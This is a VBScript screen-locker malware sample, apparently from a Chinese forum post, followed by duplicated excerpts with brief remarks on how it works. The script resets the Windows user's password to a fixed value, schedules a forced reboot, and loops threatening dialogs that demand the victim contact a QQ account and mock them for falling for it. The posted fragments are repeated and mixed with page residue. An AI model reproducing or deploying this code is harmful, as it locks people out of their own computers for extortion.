Const strPassword = "001011"
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 3600 -c ""你开机密码被我改了！联系QQXXXXXXXX···"" ",0 ,true
do while(a <> "hacker")
a = inputbox ("联系QQ:2774179723不然你也别想关掉、重启就让你开不开机，让你电脑瘫痪，不信你试试""　","加不加","对不起系统没有检测到你把软件发至五个群",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"哈哈！贪小便宜吃大亏。"
loop
msgbox chr(13) + chr(13) + chr(13) + "哈哈！想要密码了吧，联系QQXXXXXXXXXXX，0元给你 "
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "本软件已绑定你的电脑，请不要删除否则可能引起电脑开不开机"











点击在新窗播放

点击在新窗播放

不会

基于系统cmdshell来锁机  
WSHshellA.run "cmd.exe /c shutdown -r -t 3600 -c ""你开机密码被我改了！联系QQXXXXXXXX···"" ",0 ,true    [cmd命令关机]
do while(a <> "hacker")
a = inputbox ("联系QQ:2774179723不然你也别想关掉、重启就让你开不开机，让你电脑瘫痪，不信你试试""　","加不加","对不起系统没有检测到你把软件发至五个群",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"哈哈！贪小便宜吃大亏。"

这个加密  懒得解密了  简单的要死    chr加密的是添加用户命令
loop
msgbox chr(13) + chr(13) + chr(13) + "哈哈！想要密码了吧，联系QQXXXXXXXXXXX，0元给你 "

基于系统cmdshell来锁机  
WSHshellA.run "cmd.exe /c shutdown -r -t 3600 -c ""你开机密码被我改了！联系QQXXXXXXXX···"" ",0 ,true    [cmd命令关机]
do while(a <> "hacker")
a = inputbox ("联系QQ:2774179723不然你也别想关掉、重启就让你开不开机，让你电脑瘫痪，不信你试试""　","加不加","对不起系统没有检测到你把软件发至五个群",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"哈哈！贪小便宜吃大亏。"

这个加密  懒得解密了  简单的要死    chr加密的是添加用户命令
loop
msgbox chr(13) + chr(13) + chr(13) + "哈哈！想要密码了吧，联系QQXXXXXXXXXXX，0元给你 "

WshShell对象的ProgID